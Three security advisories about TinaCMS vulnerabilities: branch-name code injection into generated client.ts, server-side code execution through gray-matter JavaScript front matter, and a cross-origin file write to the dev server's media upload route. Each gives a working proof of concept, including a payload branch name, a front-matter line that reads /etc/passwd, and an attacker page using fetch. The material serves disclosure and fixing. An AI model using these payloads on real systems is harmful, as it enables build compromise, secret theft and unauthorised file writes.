Summary
@tinacms/cli inserts the raw Git branch value into the generated client.ts source without escaping or encoding. A Git-valid branch name can close the string literal and inject an arbitrary JavaScript expression that executes when the consumer build imports the generated client module.
Affected component
- Source (branch read): packages/@tinacms/cli/src/cmds/init/templates/config.ts lines 155–172 — reads VERCELGITCOMMITREF, GITHUBBRANCH, or HEAD into config.branch - Transform (URL build): packages/@tinacms/cli/src/next/codegen/index.ts lines 219–253 — createApiUrl() concatenates the raw branch into the API URL with no encodeURIComponent - Sink (template): packages/@tinacms/cli/src/next/codegen/index.ts lines 363–381 — genClient() interpolates the URL into url: '${apiURL}' - Sibling sink: packages/@tinacms/cli/src/next/codegen/codegen/plugin.ts line 55 — url: "${apiURL}" (same pattern, double quotes)
Root cause
The codegen template at index.ts:376 uses:
ts url: '${apiURL}'
where apiURL contains the raw branch name. No JSON.stringify, encodeURIComponent, or string-escape function is applied at any point in the pipeline. A single quote in the branch name closes the string literal and allows expression injection.
Payload
The following is a valid Git branch name (git check-ref-format accepts it):
x'+(globalThis.TINAPROBE='hit')+'
Generated source (sink)
When codegen runs with this branch, the generated client.ts contains:
ts export const client = createClient({ url: 'https://content.tinajs.io/2.4/content/<clientId>/github/x'+(globalThis.TINAPROBE='hit')+'', token: '<token>', queries, });
The ' in the branch name closes the URL string. +(globalThis.TINAPROBE='hit')+ is parsed as a JavaScript expression. The trailing +' reopens a string to keep the syntax valid.
Steps to reproduce
Prerequisites: Node.js, Git, npm
bash mkdir /tmp/tinacms-repro && cd /tmp/tinacms-repro git init && git commit --allow-empty -m "init" git branch "x'+(globalThis.TINAPROBE='hit')+'" npm init -y && npm install esbuild
Create repro.mjs:
js import { transform } from 'esbuild'; import vm from 'vm';
// Simulate VERCELGITCOMMITREF containing the malicious branch const branch = "x'+(globalThis.TINAPROBE='hit')+'";
// createApiUrl() logic from index.ts:252 const apiURL = https://content.tinajs.io/2.4/content/my-client/github/${branch};
// genClient() template from index.ts:376 const generated = import { createClient } from "tinacms/dist/client"; export const client = createClient({ url: '${apiURL}', token: 'xxx' }); ;
console.log("Generated source:\n", generated);
// Compile (same as consumer build) const compiled = await transform(generated, { loader: 'ts', format: 'cjs' });
// Execute in sandboxed VM const sandbox = { globalThis: {}, module: { exports: {} }, exports: {}, require: () => ({ createClient: (o) => o }), }; vm.createContext(sandbox); vm.runInContext(compiled.code, sandbox);
console.log("TINAPROBE =", sandbox.globalThis.TINAPROBE); // Output: TINAPROBE = hit
Run: node repro.mjs
Result: globalThis.TINAPROBE is set to 'hit', confirming the injected expression executed during module evaluation.
Negative control: Repeating with branch = "feature/safe-branch" does not trigger injection.
Impact
The injected expression executes with the full privileges of the consumer build process. In a typical Vercel or GitHub Actions preview deployment:
- Build environment variables are accessible (process.env), which may include NPMTOKEN, VERCELTOKEN, cloud provider secrets, and API keys - Build artifacts can be modified, enabling supply-chain compromise of the deployed output - Network access is available to exfiltrate data
Attack scenario: An attacker opens a pull request to any open-source project that uses TinaCMS with preview deployments enabled (Vercel auto-deploys every PR branch). The attacker's branch name contains the payload. The preview build runs Tina codegen, generates the injected client.ts, and the attacker's code executes during the build.
Preconditions: 1. Attacker can create a branch or PR that triggers a consumer build 2. Consumer uses TinaCMS with the scaffolded branch config (reading from VERCELGITCOMMITREF or equivalent) 3. Tina SDK codegen is enabled (default)
Severity rationale
High — build-time arbitrary code execution via a controlled Git ref. Critical was not claimed because no real secret exfiltration or release artifact tampering was demonstrated in this proof; only a benign marker was used.
Suggested fix
1. Use JSON.stringify(value) to safely serialize any runtime value interpolated into generated source templates 2. Apply encodeURIComponent() to the branch value before constructing the API URL path segment 3. Apply the same treatment to apiURL, token, errorPolicy, cacheDir, and the sibling AddGeneratedClientFunc template in plugin.ts 4. Consider moving runtime values out of source templates entirely — pass them through a JSON config file that the generated client reads at runtime
Related advisory
GHSA-4936-9hrh-qqpw — TinaCMS Forestry migration generated-source RCE. Different source (Forestry YAML labels), different parser (TINAINTERNAL unquoting helper), and different sink (tina/templates.ts). This report is not a duplicate.
Summary tinacms uses the gray-matter package in an insecure way allowing attackers that can control the content of the processed markdown files, e.g., blog posts, to execute arbitrary code.
Details The gray-matter package executes by default the code in the markdown file's front matter. tinacms does not change this behavior when process markdown file, e.g., by passing a custom engine property for js/javascript in the options object.
PoC 1. Create a tinacms app using the cli/documentation: npx create-tina-app@latest 2. Modify one of the blog posts to contain the following front matter: js ---js { "title": "Pawned" + console.log(require("fs").readFileSync("/etc/passwd").toString()) } --- 3. Start the tinacms server, e.g., with npm run dev 4. Observe the console of the server printing the password file, showing that attackers can execute arbitrary commands.
Impact RCE: attackers can execute arbitrary JavaScript code on the server hosting tinacms.
Feasibility Potential attack scenarios can be executed like this: Companies often have technical writers as contractors. These contractors produce md files, which they send over email or upload in a shared cloud folder. Developers download these files and upload them in tinacms's content folder. While this example might appear speculative or contrived, a general observation is that developers would be very surprised to find out that processing untrusted markdown files via tinacms = server-side code execution = complete machine take over. That is, tinacms users might not expect markdown files to contain anything else than data and gray-matter violates that assumption.
Summary A browser-based cross-origin request flaw in the Tina dev server allows an attacker-controlled website to cause arbitrary file creation inside the configured media upload directory on a developer machine running tinacms dev. No manual file upload is required. The attacker page builds the multipart request in JavaScript and sends it directly to the local Tina server. The browser blocks access to the response because of CORS, but the server still processes the request and writes the file.
Details The issue is in the dev server path of @tinacms/cli.
The Vite dev server installs CORS middleware:
ts // packages/@tinacms/cli/src/next/vite/plugins.ts server.middlewares.use( cors({ origin: corsOriginCheck, methods: ['GET', 'HEAD', 'PUT', 'PATCH', 'POST', 'DELETE'], }) );
For disallowed origins, the origin callback only returns false to the CORS library:
ts // packages/@tinacms/cli/src/next/vite/cors.ts return (origin, callback) => { ... callback(null, false); };
That does not reject the request server-side. The same request is still routed into the upload handler:
ts // packages/@tinacms/cli/src/next/vite/plugins.ts if (req.url.startsWith('/media/upload')) { await mediaRouter.handlePost(req, res); return; }
The upload handler then accepts attacker-controlled path and body data and writes the file:
ts // packages/@tinacms/cli/src/next/commands/dev-command/server/media.ts bb.on('file', async (name, file, info) => { const fullPath = decodeURIComponent( req.url?.slice('/media/upload/'.length) ); const saveTo = resolveStrictlyWithinBase(fullPath, mediaFolder); await fs.ensureDir(path.dirname(saveTo)); file.pipe(fs.createWriteStream(saveTo)); });
This is exploitable because multipart/form-data is a simple browser request and does not require a preflight. CORS only prevents the attacking page from reading the response; it does not stop the local Tina server from processing the state-changing request.
I validated this locally with a browser-backed repro: - the request origin was a disallowed non-localhost origin, - the browser treated the fetch as blocked, - the local Tina media file was still written with attacker-controlled contents.
The demonstrated impact is limited to arbitrary file creation inside the configured Tina media root. I did not demonstrate traversal outside that directory or code execution.
PoC Minimal reproduction:
1. Start a Tina dev server so the media upload route is reachable at: text http://127.0.0.1:<TINAPORT>/media/upload/<filename>
2. From a different, non-allowed origin such as http://evil.test:8000, serve this page:
html <!doctype html> <script> (async () => { const form = new FormData(); form.append( 'file', new Blob(['poc-from-cross-origin'], { type: 'text/plain' }), 'poc.txt' );
try { await fetch('http://127.0.0.1:<TINAPORT>/media/upload/poc.txt', { method: 'POST', body: form, }); console.log('fetch resolved'); } catch { console.log('fetch blocked by CORS'); } })(); </script>
3. Open that page in a browser while the Tina dev server is running.
4. Observe: - the browser reports the cross-origin request as blocked or inaccessible, - but poc.txt is still created in the configured media directory, commonly: text public/uploads/poc.txt
5. Verify the file contents are: text poc-from-cross-origin
This reproduces the vulnerability without any victim-side manual upload action.
Impact This is a browser-mediated arbitrary file write into the Tina dev server’s configured media root. The affected population is developers or operators running the local Tina dev server and visiting an attacker-controlled webpage. The demonstrated impact is integrity impact on local project files under the upload root. I did not demonstrate write outside the media root, GraphQL mutation CSRF, or code execution.